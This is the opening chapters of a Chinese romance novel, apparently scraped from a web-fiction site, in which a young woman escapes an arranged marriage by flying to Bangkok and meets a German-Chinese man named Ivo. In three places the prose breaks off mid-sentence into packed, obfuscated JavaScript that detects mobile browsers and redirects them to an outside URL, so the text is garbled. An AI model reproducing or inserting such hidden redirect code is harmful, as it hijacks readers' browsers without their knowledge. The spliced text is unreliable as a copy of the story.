《考山路夜航船》 1. 初遇 姜遇棠见到Ivo的第一眼,她刚从素万纳普机场的到达厅里出来。 这趟行程制定得非常草率,起因是她爸在她刚领完大学毕业证没几天,就给她安排了联姻对象。对方比她大了至少一轮,肥头大耳,据说私生活还极为不检点,经常会有小三小四的跑去他办公室闹,要他为其主持公道。 就是这样一个人,无论是外表还是行为都与自己截然不同的一个人,料想也不会有任何共同语言,姜是德竟然会觉得他俩般配,要把这样一个人介绍给她。 姜遇棠以为,这是自己在他心里十分不重要的体现。 她的妹妹姜琦跟她只相差一岁,前两年就闹着要休学在家摆烂了,姜是德却从来没有考虑过要把这人介绍给她。还不是因为她有妈妈撑腰,如果姜遇棠的妈妈仍旧在世,一定不会让这样的事情发生。 当然,这是一个没有办法实现的假设,所以姜遇棠只能靠自己为自己撑腰。 她只想跟合适的人结婚,像这样为了家族利益在一起的,姜遇棠才不会同意呢。所以她很明确地表示了拒绝,并同姜是德表明自己不是一件商品,她有选择自己未来结婚对象的权利。 姜是德在听到她的话后沉默了好一会儿,这期间姜遇棠的心思百转千回,以为他被自己说服,内心有所松动,然而下一秒,却听他开口:“你说你有决定自己未来结婚对象的权利,好,那你说,你想要嫁给谁?但凡他能为我们家带来经济利益,给公司带来帮助,我绝不反对。你说说,你能找到谁?” “经济利益”、“给公司带来帮助”这几个词不断地冲击着她的鼓膜,有一瞬间,姜遇棠甚至还以为自己失聪了呢,不然怎么会从自己父亲的嘴里听到这么令人心寒的话? 意识到他固执己见,并且轻易不会改变自己的想法后,姜遇棠也就不再回应,转身回了自己的房间,坐到了书桌前。 事实上,前几天她还在笔记本电脑上给自己安排毕业旅行的行程,计划要去的欧美国家、游玩后找工作的时间,以及未来的就业发展方向,跟闺蜜沈倾沐讨论得热火朝天。 只不过计划赶不上变化,才过没两天,这美好心境就被姜是德给打散得七零八落了。 反正无论谁都比不过他的公司重要。 姜遇棠对此的评价便是:你有你的公司,我也有我的人生,我们最好还是老死不相往来吧。 这念头刚动一瞬,姜是德便上来敲响了她的房门。 姜遇棠听着外头的动静,眨了眨眼,并不打算开门。于是姜是德便在门前催促,让她去见对方一面,这关乎未来两家公司的合作,叫她不要任性。 喋喋不休的劝阻话语叨扰着她的耳朵,姜遇棠忍不住朝门的方向翻了个大白眼。 她才不在乎他们的合作呢,未来怎么样又关她什么事呢?盈利不会分她一杯羹,为此她还要失去后半生的幸福。 简直得不偿失。 这样想着,忽然瞥见电脑屏幕上弹出一则有关曼谷旅游的广告,于是心念一闪,她毫不犹豫地就订下了隔日飞往曼谷的航班。 她想,要是那天桌面上跳出来的是巴布新几内亚的旅游广告,她也一定会二话不说地飞往巴布新几内亚的。 次日下楼,姜遇棠告诉姜是德她会去同那人见面,立刻就出发。 对此,姜是德毫无疑心,还夸赞了她几句,称她明是非,有格局,还交代她见面时应当注意的礼节,不该说的话千万不要说。 姜遇棠轻轻地扯了扯嘴角,在接受完这些毫无用处的叮嘱后,很快钻入了保时捷911的驾驶座,方向盘一打,径直驶向了萧山机场。 总而言之,这趟行程可以说是毫无计划可言的,她连行李都是匆匆忙忙收拾的,衣服也没拿几件,背了个包就从家里出发了。 是在从机场出来,脱离冷气、被曼谷毒辣的太阳炙烤得浑身粘腻难受之时,姜遇棠才意识到这个决定做得过于冲动了的。 其实她还可以有别的选择,还可以去别的国家,譬如巴布新几内亚,没准那儿的太阳就不会有曼谷的这般毒辣。 但也就这么想了一小会儿,她便从包里摸出手机,取出在机场买的流量卡换上,开关机试了一会儿,上旅游软件上给自己订了家酒店,准备打车过去,剩下的等到了酒店再说。 反正来都来了,就当是给自己转换个心情好了,不至于都到了境外,还惦记着国内那些糟心事吧。 如此自我说服了几分钟,姜遇棠感到一阵轻松,看着机场外头密密麻麻的Grab出租车,都好像是特意为自己准备的。 她打算随意拦下一辆试试。 朝出租车停靠点走的时候,姜遇棠注意到一个男人,一手举着接机的牌子,一手握着手机,冲听筒那端说着她这辈子都学不会的陌生语言,初判不是泰语。 男人的嗓音很好听,低沉的声线仿佛带着某种颗粒感,又如电流般穿过她的鼓膜,刺得人耳根发麻。 他只对那端说了几句话,挂断电话后又说了几个词,姜遇棠猜测是些不文明的脏字。 或许是打探的目光太过直白,男人很快就朝她这边望了过来,目光冷静而又有几分冷酷。 是个身量很高的男人,肤色很白,好像怎么晒都不会黑,穿着泰式度假风T恤,衣服上印满了椰子树,不过穿在他身上并不会显得过于花哨。 男人是很明显的混血长相,继承了西方人高耸的眉弓、深邃的眼窝以及雕塑般的颧骨线条,又有东方人浓密乌黑的剑眉和乌木般发亮的黑发,瞳色倒是偏蓝色的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578336|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 泰国几乎遍地都是混血儿,姜遇棠还在心里揣测他混的是哪个国家,忽听他开口,嗓音清冷地问她:“你在看什么?” 说的竟然是中文。 异国他乡遇到熟悉的语言,很难描述姜遇棠此刻的心境。非要形容的话,她想,大概就是一种被人识破心思的窘然吧。 姜遇棠停顿片刻,也不尴尬,迎着他的目光直白道:“在看你啊,你长得非常好看。” 或许是这类轻佻的话语他早已司空见惯,面上并未显露任何情绪波动的痕迹,也不再做任何回应。 姜遇棠却没打算放弃,走到他跟前站定,问他:“你是中国人吗?” 男人垂眸扫了她一眼,很轻地摇了摇头。 “那是泰国人吗?” 他再次摇了摇头。 就在姜遇棠以为他借故不愿回答她的问题时,旋即又听他开口:“我是德国华裔。” 原来刚刚说的是德语。 总算是了解到了一些有关他的事,带着好奇心,姜遇棠继续问道:“那你是在这里生活吗?” “边玩,边生活,你呢?” 姜遇棠想了想,没好意思说自己是过来散心的,只说:“我来这里gap一段时间。” 实际上,在各行各业都狂卷的国内,gap是比gay还要可怕的存在。gay尚能隐藏,你不说,别人自然不得而知。而gap却是一目了然,反观你无所事事、游手好闲的行为表现,很难不遭人唾弃。 男人了然地点点头,收回视线,并不打算继续开启新的话题。 姜遇棠静静地注视着他,略作思量,笑着同他做自我介绍:“我叫姜遇棠,姜子牙的姜,偶遇的遇,海棠花的棠,你叫什么?” 男人垂下眼,盯着她的脸看了会儿,似在思考什么,深蓝色的瞳孔里倒映着她真切的目光,停顿少顷,才同她说:“Ivo,中文名叫京墨,京城的京,墨色的墨。” 很好听的名字,无论是德文名还是中文名。 是在熟悉起来之后,姜遇棠才知道,Ivo是中德混血,出生在中国,成长在德国,偶尔来泰国。他的中文和德文说得像吃饭一样简单,泰语和英语也是张口即来,是个比较少见的语言天才。但他本身却是工科生,学的还是跟语言毫不相干的计算机科学。 那天他们到底是没有说上太多话,在做完自我介绍后,Ivo就替她拦下了一辆出租车,提醒她泰国是小费国家,帮提行李之类的服务都会收取小费。 在姜遇棠拉开后座的车门、落座后,Ivo想了想,还是没忍住对她说:“泰国这边骗子很多,你以后要注意,不要随便和陌生人搭话。祝你接下来的旅途愉快,再见。” 话落,他便伸手拦下了又一辆出租车。 2. 突突 他走得十分干脆,待背影消失后,姜遇棠才反应过来他刚刚说了什么,也意识到自己忘了问他讨要一个联系方式。 真遗憾哪。 不过她倒也没有特别放在心上,她想,如果他们真的有缘,将来一定还会再见面的。 出租车缓缓朝市中心驶去,方才的偶遇就像是一场梦。 姜遇棠静静地注视着窗外,机场到市中心的路段竖着印满泰国艺人的广告立牌,不断朝他们贴近,又不断地被他们的车子甩在身后。 或许是车厢太过安静,司机打开了广播电台,不知切到了什么频道,欢快的泰语歌从里头传了出来。之后一路,她都在这阵欢快的氛围当中度过。 曼谷的交通拥堵,巷弄多,路道窄,出租车七拐八绕的,总算是将她带到了酒店门前。 姜遇棠很快付了车费,去前台办理入住,背着包上了楼。 外头太热了,她出了许多汗,黏糊糊的,非常难受。所以一进门,姜遇棠就打开了空调,从包里翻出睡衣直往卫生间奔。 小X书上说泰国的马桶都是盖着盖子的,为了防止里头有蛇、攻击住客,所以在使用前需要先冲水,再揭盖。 为保险起见,姜遇棠摁了不下三次抽水马桶的按钮,方才掀开马桶盖。 洗漱完从卫生间里出来,总算是感到了丝丝凉意,她躺到床上,打开手机。 就在这时,沈倾沐给她打来了电话,问她:“怎么样?曼谷好玩吗?有没有什么艳遇?” 这个问题问得可真巧,姜遇棠下意识地就想到了Ivo,不过因为没有取得对方的联系方式,便算不得什么艳遇。 她对沈倾沐说:“我才刚到酒店,都还没出门逛呢。” “怎么,我看天气预报显示,曼谷最近的天气都挺好的,你不打算出去逛逛吗?” 姜遇棠轻叹一声:“就是因为天气太好了,我才得好好掂量掂量,不然难保回去不被晒黑三个色号啊。” 沈倾沐在那端笑了一声:“那你要做好防晒啊,出去玩就要开心一点儿,别想太多,注意安全。” 姜遇棠“嗯”了一声,二人又扯了两句,随即挂断电话。 正准备补个觉,手机消息音突然弹了出来,姜遇棠扫了一眼,是姜是德发来的好几段长达60秒的语音。 她犯懒,连听都不愿好好听,点开前面几个,只听了个开头,将最后一条语音转换成了文字—— 【你上哪儿去了?人家在餐厅等了你半小时,你倒好,不打招呼就放人鸽子,我从小教你的礼数呢?害我还得拉着脸去同人道歉,你有没有考虑过你这样任性的行为会给家族带来怎样恶劣的影响?你有没有把我放在眼里?】 之后又接连收到好几条语音,不过姜遇棠没再点开,想来也不是什么好话。 她甩开手机,翻身躺下,打算好好睡上一觉。 只是转身的一瞬间,脸色蓦地沉了下来,初到曼谷的好心情也随之烟消云散。脑子无可抑制地重复着姜是德给她发来的消息以及最近时常在她耳边念叨的话,即使用了极大的意志力也无法将它们驱逐出脑海。 心情到底是受了影响,躺床上半天,翻来覆去的怎么都睡不着了。 姜遇棠沉默地盯着空调的出风口,听着它传来呼呼的风声,索性再次抓过手机,搜索距离自己最近的景点,翻身下床。 她很快地换了一件抹胸短裙,给自己化了一个美美的妆,揣着包和相机便下了楼。 出租车载着她去往大皇宫的方向时,姜遇棠摇下车窗,阳光透过窗户缝隙洒在她身上,带着炙热的温度,困倦顿时涌了上来,她又开始后悔不该这么冲动出门。 好在“来都来了”的心理适时制止了她。 大皇宫附近的交通可以说是曼谷最为拥堵的路段了,出租车司机在距离目的地还有一段路程的地方出声询问:前方交通拥堵,可否在这将她放下。 姜遇棠目测了一下距离,没有意见。 司机问她要了400泰铢,并声称:“Becauseofthetraffic.” 姜遇棠想了想,也没同他计较。 太阳毒辣,只走了几步姜遇棠就感觉有些受不了了,目测很短的一段路程,走起来倒是挺费劲的。 她朝四周望了眼,附近都是举着白色牌子的泰国导游,好比国内旧时准备接客的火车站,见她看过来,一群人忙不迭地凑上来,询问道:“美女,去大皇宫吗?需不需要中文讲解?” 姜遇棠愣了愣,导游似嗅到商机,忙接着说:“全程中文,价格便宜。” 不得不承认,他们的中文说得还挺不错,但即使他们用中文给她介绍,她也不一定会记得,遂摆摆手,一一拒绝。 姜遇棠想着还是随便走走好了,这样想着,往马路对面走了两步。 曼谷这座城市有一种奇异的包容感,同它满大街都是来自世界各地的面孔一样,城市的建筑本身也有一种融汇古今的包容度。既有古老皇寺金碧辉煌的绮丽,又有现代化高楼大厦的林立,街道有的破旧逼仄,有的又带着点儿南洋与西式相融合的风情,几乎随意哪个角度拍摄都能出片。 姜遇棠打开相机,前前后后走动了会儿,对着某个街角调整合适的角度,正准备按下拍摄键,Ivo就是在这时候闯入她的镜头的。 他开着一辆粉蓝相间的TukTuk车,很快地从自己的镜头里驶过,相机无意识地记录下他冷峻的侧脸。 这场偶遇令姜遇棠感到意外,都没顾得上继续拍片,她忙收起相机,追着TukTuk车跑了几步。 Ivo似乎注意到了后方的动静,当即停下车,侧过身子,朝她这边望了过来。 比起姜遇棠脸上不加掩饰的惊喜与兴奋,他的表情看起来可谓无波无澜、风平浪静。 待她快步靠近,Ivo方才出声:“你要去哪儿?” 姜遇棠抬手指了指距离这地儿不远的大皇宫,Ivo思索片刻,点点头,对她说:“上来吧。” 姜遇棠愣了愣,似没明白他说的话,但身体早就快过大脑做出了回应,完全没有推拒,不给人后悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578337|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间地爬上了车子的后座。 落座后,她方才开始感叹,几小时前还在机场外头接机,这会儿又在大皇宫附近接客,曼谷这么自由散漫的空气也没能压制住德国人的卷吗?他不会累吗? Ivo当即发动了车子,他边开边问:“你是要去大皇宫里头转转吗?” 姜遇棠说对。 安静少顷,也许是好一会儿,姜遇棠听着TukTuk车轰隆隆的声响,感受着扑面而来的热风,吹得脸颊烫烫的,她阖上慵懒的眼皮,感觉周身都被这风吹得泛起了懒意。 忽听Ivo开口:“那你的穿着不太符合标准。” “......嗯?”姜遇棠重新睁开眼睛,扫了眼自己身上完全挑不出任何毛病的抹胸裙,问他,“怎么不符合标准了?” Ivo同她解释:“参观大皇宫,裙子的长度需及脚面,不可露肩膀。” “啊,那可真是太遗憾了。” 姜遇棠心想,要不就不去大皇宫了吧,可又不想这么快同他道别。 正琢磨着该找什么样的理由之时,Ivo以为她当真感到了遗憾,宽慰她:“不过大皇宫门前有卖衣服的地方,都挺好看的,而且价格实惠,你可以去看看。” 姜遇棠忍不住笑出了声。 等Ivo将她带到卖衣服的摊子前,她又发现自己怎么都笑不出来了—— 非常沙滩度假风的T恤和长裤,既宽松,又休闲,穿上之后完全没有必要担心裸.露身体发肤的任何可能性。 姜遇棠感觉Ivo在耍她,可能是他冷峻的面庞极具欺骗性,也可能是因为他说话的语气真挚而自然,姜遇棠找不到他欺骗自己的证据。 “款式还挺多的,颜色也有许多种,你可以认真挑一挑。”他的口吻完全听不出任何玩弄人的意思,听着还好像真心为你提建议,“你要是怕晒的话,就选颜色最浅的那件。” 姜遇棠用下巴点了点他说的那件,仰头看他:“你觉得那件好看吗?” “还不错。”Ivo平静回复。 姜遇棠瞅瞅那件色块诡异的衣服,又瞥两眼面前说话脸不红心不跳的男人,说真的,实在难以信服。 她不怎么跟外国人打交道,怀疑是中西方审美差异导致的分歧,Ivo或许是真心,但她还是趋于内心地选择了一身印满黑色椰子树的沙滩服。让Ivo帮忙拿一下相机和包,直接在抹胸裙外头罩上了这身宽松的套装。 非常合适,只是内心难免感到失落。 真是白瞎了她精心打扮的妆容。 姜遇棠不甘心地扯了扯嘴角,扫了眼全身上下纷繁复杂的椰子树图案,对一旁的男人说:“真巧哈,我们竟然换上情侣装了呢。” Ivo并没有接她的话,只是用平静的眼神看她,这目光带着点儿审视的意味,还有一丝好奇与戏谑,旋即收回。他抬了抬胳膊,用揣着相机的那只手指了指街上四处行走的游客。 姜遇棠顺着他手指的方向望过去。 可以说,几乎满大街的人都跟她穿了情侣装呢。 3. 争吵 姜遇棠愤愤地收回目光,极力忍住想要向外国友人翻白眼的冲动,总感觉他是故意的,可这根本毫无道理可言。 她莫名有些生气,或许是因为Ivo手指的动作,也或许是因为自己精心打扮的妆容被毫不留情地覆盖。可她实在不好意思去找Ivo理论,因为无论哪点,他都好像没做错,她也的确是没有理,所以只能选择暂时性地忽略他如此扫兴的行为。 忽然想到什么,姜遇棠一把夺回自己的包包和相机,从包里翻出许多币值不同的纸币,问Ivo:“TukTuk车的车费是多少?我换衣服这么久,应该没有耽误你吧?” Ivo没有回她的话,显然意识到她误会了,误以为他以此营生,但也没有过多解释,只是从眼前人的那堆纸币当中,抽走了最小面值的20泰铢。 “这么便宜,我来的路上,那司机可是收了我400泰铢呢。” 这话的语气,颇有一种夸他实诚的意味。 Ivo本来已经提步往前走了,听到她的话,又忍不住转过身来。 深蓝色的眼睛平静地注视着姜遇棠,面上的表情很淡,不像是探寻,也不像是猜疑。他和姜遇棠只隔着两步的距离,姜遇棠身上穿着同他一致的沙滩服,整个人的心思看起来也和这身衣服一样简单。 可这种单纯是不适合出现在泰国的。 最后到底是不放心,Ivo拿着刚从她手里抽出的那张纸币扇了扇,直白点明:“从机场打车过来,也不过400多泰铢,你被人坑了。” 姜遇棠怔怔地看着他,没有想到他会说出如此令人心惊胆战的话来。 事实上,姜遇棠从小到大都对钱没有什么概念,这玩意儿就好像是她银行卡里的一串数字,一直在增加,怎么都花不完。她在国内的时候动辄花钱如流水,买个包或者买辆车都抵得上许多人十年的工资了。可没有人会告诉她这个东西贵,那个东西便宜,也不会有人站在她面前,直指她愚蠢。 当然,现在也没有。 可Ivo的意思,和说她蠢又有什么区别呢? Ivo朝她看了两眼,继续用他那平静至略微有些冷淡的语气说道:“正常中国人来曼谷必逛的景点就那么几个,各个景区之间的距离也不会相隔太远,都用不了400泰铢。” 好像受伤的心脏又被人猛刺了一刀,姜遇棠发现在他说完这些话后,自己竟然真的有些心疼。 但比起心疼,更多的还是因为他的话而产生的气愤。 不过是400泰铢,这点钱算得了什么呢? 大脑快速旋转,姜遇棠替自己找到了一个万能的理由——泰国是小费国家,她乘了车,100当车费,另外的300,就当是给出租车司机的小费,怎么了? Ivo大概猜到她在想什么,笑了下,又问她:“要去里头转转吗?” 姜遇棠怀疑他正在适时地转移话题,非常之不巧妙,因为她还没有找到回击的话术,就被他猛地一把给翻篇了。 而人家都已经进入下一个话题了,她也不好再继续抓着上一个不放,便随意地说:“反正来都来了,那就随便看看吧。” Ivo听完,也不再揭人伤疤,示意她跟着自己往前走。 他们一块儿走到购票处,窗口外头排了很长的队伍。二人走到队伍末端,有几个高举牌子的人立即朝他们冲了过来,问他们需不需要中文讲解。 他们几个中文都说得不错,询问间不断朝二人靠近,姜遇棠一边摇头,一边往后退。Ivo注意到了,挡在她身前,同对方摇了摇头,表示不需要。 那几个人离开前还有几分不甘心,回头扫了他们好几眼,似探寻某人的回心转意。 但显然,并没有。 排队处没有空调,电扇也吹不到,虽晒不到太阳,但仍能感受到夏日的闷热。好在队伍移动得很快,没几分钟就排到他们了。 Ivo走到售票窗口,同工作人员说需要两张票,姜遇棠慌忙从包里翻出钱,给他递了过去。 不知道是不是自己的错觉,姜遇棠总感觉在她递出那两张纸币时,Ivo目光很沉地看了她一眼。 他退回来一张,从自己的钱夹里掏出一张,递进窗口。 姜遇棠顿了片刻,又把那张纸币收了回来,重新塞回钱包。 取完票走进大皇宫,姜遇棠发现,里头的中文讲解员还真不少,纷纷戴着扩音器在认真解说。仔细听,能够听出他们的口音类似国内两广地区。 参观的队伍里,有来自世界各地大大小小的旅游团,有的人来散心,有的人来游学,各种各样的面孔下都穿着跟她毫无分别的情侣装。当然,其中也不乏出现几对真情侣。 姜遇棠的旅行毫无规划,不请中文导游,也不看游览地图,就跟着人流随意地四处走动。随看随拍,好像没有什么是非看不可的。 Ivo看起来也没有任何想法,对这种盲目从众的观光方式似乎也不排斥。 那个下午他们走走停停,偶尔蹭听两句旁边中文导游的解说,说着一些有关泰国的文化历史。这些东西触及了姜遇棠的知识盲区,是那种她觉得即使学会了也并没有什么用的知识,所以她听得并不认真。倒是经导游提醒时,会拿起相机拍上几张照片。 姜遇棠是学摄影的,至于当初为什么会报考这个专业,她已经不太记得了。可能是一时兴起,也可能是想要提升自己的审美能力,更可能的是想要通过某种方式,来获取她想要的自由。 说起来,她在那个家也算得上自由,因为并没有人会管她。没有人会在意她高考填报了什么专业,也没有人会过问她是死是活。自母亲去世后,她一直都是独来独往的。 其实这样也挺好的,只是令姜遇棠感到意外的是,从来对她不闻不问的姜是德会在她刚取得毕业证书时,立即给她安排婚事。 一个自由惯了的人是受不了任何拘束的,一想到未来几十年都要同一个比她大上许多的陌生人共度余生,她就感到明显的心理不适。 当今社会又不是古代的封建王朝,哪还有什么“父母之命,媒妁之言”啊?所以想当然的,姜遇棠表现得非常抗拒。 翡翠佛像和大皇宫主殿的内部都是禁止拍照的,因而姜遇棠只能对着金光闪闪的佛塔和巨型夜叉雕像寻找角度。 曼谷的太阳毒辣,只拍了几分钟,姜遇棠就感到了汗流浃背。 她偏头看了眼身侧的混血男子,他倒是没怎么出汗,只不过因为皮肤白,紫外线过敏的症状便显得尤为明晰。 察觉到她的视线,Ivo低头问她:“怎么了?” 姜遇棠抽出纸巾擦了擦脸上的汗,问他:“这一片都没有晒不到太阳的地方吗?” Ivo正思考要不要跟她说自己也是第一次来这边逛,还没来得及出口,兜里的手机就响了。他抬手指了指不远处的回廊,示意姜遇棠过去那边躲会儿,自己则站在原地接通了电话。 周围都是华丽的宫殿,金光闪闪,人流量大,太阳也大,又晒又挤,回廊那块儿看着人倒是不多,姜遇棠揣着相机走到了色彩浓郁的《拉玛坚》壁画前。 可怖的怪兽,阖目的美人,带着双翼的狮子,每一幅画的色彩都格外明快强烈,细节也足够细腻生动。姜遇棠静静地注视着壁画,往后退了两步,正对着壁画,手指轻巧地摁了两下快门,而后才回头看Ivo。 他正站在太阳底下接听电话,隔着一段距离,声音听起来不太真切。 行走时由于宽松的沙滩服遮挡,看不怎么出来,这会儿因为通电话抬起了胳膊,便能很明显地看出他匀称的肌肉线条,看着像是经常锻炼的。 这个电话Ivo打了很久,那边或许有要事要同他商量,他起初用的是德语,交谈间又说上了泰语,偶尔笑两声,似乎是听到了很好笑的话。 一般时候,姜遇棠并不怎么会拿Ivo当外国人看待,因为他中文说得十分流畅地道,只有在这种全然听不懂对方在说什么话、自己仿佛被屏蔽在某种隐形的屏障之外的情况下,她才会猛然意识到Ivo是个外国人。 这个发现令她不太满意,好像有一种自己被莫名抛弃了的感觉。 而Ivo同电话那端的人说话时总是带着笑容,那是姜遇棠不太能够在他脸上看到的表情,让她十分想要知道他们究竟在讨论些什么。 姜遇棠知道自己这个想法非常失礼,但她还是决定一会儿在他走过来时,要提醒他说一些能让她听懂的话。 等她做好这个打算,包里的手机突然响了起来。 在看到姜是德的名字时,姜遇棠本能地想要拒接,但看着Ivo在那块儿用她听不懂的语言谈笑风生时,鬼使神差的,她竟然也摁下了接听键。 自然是听不到什么好话的。 姜是德先是问她打算在泰国待多久,什么时候回来,说着说着,就开始劝她不要再继续任性了。 “怎么说你也是我姜是德的女儿,既然顶着这个姓,自然就要承担起这个姓氏赋予你的责任和义务。逃避不是解决问题的办法,你难道还能在泰国待一辈子吗?” 人好像必须撕破脸皮才能彻底跟他人断绝往来,在此之前,姜遇棠尚且心存侥幸,以为血脉相连的关系,姜是德终究会有几分不舍与不忍。可显然,他并没有。 姜遇棠不可控地失望和恼然,仿佛从前自欺欺人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578338|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借口被人无情地撕裂开来,于是说话也开始不管不顾,毫不留情。 “你怎么知道我不能?”姜遇棠深吸一口气,同对方说,“领养一条狗,人还知道要跟它培养培养感情,不再让它在街头四处流浪呢?你呢?怎么连自己的亲生女儿都说卖就卖了呢?” 听到她的话,听筒那端的声音明显变得粗重:“你这是什么意思?” 姜遇棠没管他:“我说过,我有选择自己结婚对象的权利,是自己选择。既然你从前没有管过我,那么现在以及未来,也没资格管我!” 姜是德的脸色顿时铁青,他大吼了一声,严厉斥责:“你是用什么语气跟你老子说话的?你知道尊重二字怎么写吗?你从小到大学的那些礼仪和规矩呢?” “那你知道吗?”姜遇棠的语气也变得十分激动。 “反正我不管,你赶紧给我回国。这个婚你必须结!这个月就得结!” “行啊。”姜遇棠简直要气笑了,笑完,又对姜是德说,“我当然会结,我会找个泰国人,在这边结!” 姜是德显然是真的动怒了,之后他不断地放出狠话,例如要切断她的经济来源,跟她断绝父女关系。姜遇棠也渐渐地失去了耐心,最后自然是闹得不欢而散。 挂了电话,姜遇棠有好一阵没有缓过来,她一边盯着回廊上的壁画,一边深呼吸,连Ivo是什么时候走过来的都不知道。 直到Ivo出声问她怎么了,她才猝然回神,松开一直紧蹙的眉头,摇摇头,表示自己没事。 但看着并不像是没事的样子。 刚才那会儿Ivo正在打电话,余光无意间往壁画的方向瞥了眼。 姜遇棠一贯都是闲然自得的姿态,懒洋洋地站在壁画前,歪着脑袋看向这边。 Ivo同样毫不遮掩地打量她。 姜遇棠个子挺高,身材偏瘦,大概是出国前刚染的头发,微卷的摩卡棕长发披散在肩头。她有一双很漂亮的眼睛,黑白分明,也有一张很好看的脸,漂亮得不像是这个文明社会的产物,同她慵懒的气质一样,都不像是能在这个社会轻易看到的。 被打量的女人很快就低垂下目光,陷入沉思。接着,她双手托举着相机,来回走动了一番,最后侧过身子站着,一半身体倚靠在廊柱上,一半身体隐没在阴影里,好似融入了眼前的壁画。 可不过一小会儿的功夫,她又拿起了手机,那副慵懒的姿态顷刻间烟消云散。隔着一小段距离,Ivo都能看出她情绪的激动。 日头已经开始下落,晚霞余晖渐渐弥漫开来,让廊柱的阴影彻底笼罩住了她。 Ivo盯着那块暗影,匆匆挂断电话,朝她走去,见她飞快地收起了手机。 姜遇棠显然不愿同他提及方才发生的事,Ivo也没深究,只是告诉她:“如果心情不好,就看看周围的风景吧。出来玩,就不要再想那么多了。” 姜遇棠抬头看他,Ivo也在看她,他的眸色深沉,似乎真的在宽慰她,姜遇棠随意地扯了扯嘴角,道:“我尽量吧。” 显然不想继续这个话题,于是便问Ivo:“你刚刚看起来很开心,是在和谁打电话?” 这个问题触及隐私,事实上他可不作回答,但Ivo并不避讳:“我弟弟。” 姜遇棠点点头,口吻好奇:“你弟弟也会说泰语吗?” “嗯,他是泰德混血。” 剩下的,自然是各个家庭复杂的矛盾与纠纷了,姜遇棠便没有多问。 之后他们进入了王后纺织博物馆,室内空调的冷气很足,但姜遇棠因为那通电话心灰意冷,早就感受不到热意了。 他们一个个馆地闲逛着,Ivo细细地研究泰国王室服装的变迁史,而姜遇棠看到的却是国王和王后成双入对地出席各类重要场合。 成双入对。 这个词在姜遇棠参观博物馆时给了她猛烈一击,接着在她脑中撕扯,鞭打她的脑袋,痛击她的神经,似要寻求一个明确的答案。 方才同姜是德说的话自然都是气话,可既然她早晚都得结婚,跟谁结不是结?为什么非得跟那个人结呢? 她有选择自己结婚对象的权利。 这样想着,姜遇棠慢慢扬起了眉,她暗暗在心中做了决定。 从博物馆里出来,热浪瞬间扑面而来,姜遇棠感觉自己的脑袋也清醒了不少。 身后是博物馆内曲调悠扬的古典乐,身前是正在踏步演习的泰国军人,等他们从面前走过,Ivo也打算朝出口走去。 姜遇棠忽然伸出手,一把抓住他的胳膊,她望着Ivo,眸光清亮,嗓音轻快地问他:“Ivo,你要不要和我结婚?” 4. 玩笑 周围的动静已经小了许多,因而姜遇棠的声音传入人的耳朵时是十分清晰的,可Ivo仍旧以为自己出现了幻听。 他转头看向姜遇棠,姜遇棠也在看着他。 博物馆里的人差不多都走光了,外边的天也逐渐暗沉,Ivo一动不动地注视着姜遇棠,注意力随着她的目光移动稍稍有些发散。 他开始思考这是他们见的第几面,他们以前就见过吗?是不是所有中国女生都这么生猛?她要与自己结婚的动机和缘由是什么? 图什么? 他很认真地思考,而这番认真在眼前人看来似是在为拒绝拖延时间。 姜遇棠静静地凝望着他,默默地在心里倒数时间。 60秒。 他在想什么啊? 45秒。 无论是答应还是拒绝,这应该都不是什么难回答的问题吧? 30秒。 姜遇棠拽住对方的手指忍不住收了几分力,她深吸了口气,祈祷对方不要说出一些令人难堪的话来。 15秒。 她听到Ivo出声,感觉自己好像刚学游泳的人,努力地在泳池里学习憋气,只不过还没坚持到一分钟,就被人从池子里拽了出来。 而浮出水面的间隙,迎接她的也未必不是暴风雨。 事实证明是她想多了,Ivo并没有对她的言行提出质疑,只是以极为平和的语气告诉她:“结婚是一件非常神圣的事,我想我们都不应该草率。” 安静数秒,姜遇棠缓缓开口:“如果我说,这是我深思熟虑后做的决定呢?” “那你应该再认真想想。”Ivo低头瞧她,“你并不了解我,不了解我的家庭,也不了解我的感情经历。同样的,我也不了解你。这样踏入婚姻,无论是对你还是我而言,都是不公平的。” 姜遇棠轻轻地点了点头,倏地扯起了别的:“不知道你有没有看过中国的相亲节目,就是那种许多女嘉宾站在台上,男嘉宾慢慢登场,通过自我介绍之类的方式,向女嘉宾表达喜欢,然后选其中一位交往的节目?” Ivo迟疑地摇摇头,不知道她想表达什么。 “我初高中时期,这类节目非常火,那时候我总觉得他们是在演戏。哪有人能够对才见一面的人生出感情的啊?就只是录个节目,个把小时,怎么能确定彼此的心意?我一直是这么想的。”姜遇棠说,“可前段时间,我偶然刷到了其中几位嘉宾的微博,发现十多年过去了,他们仍旧在一起,并且还步入了婚姻的殿堂。” 她说完,朝Ivo眨了眨眼睛。 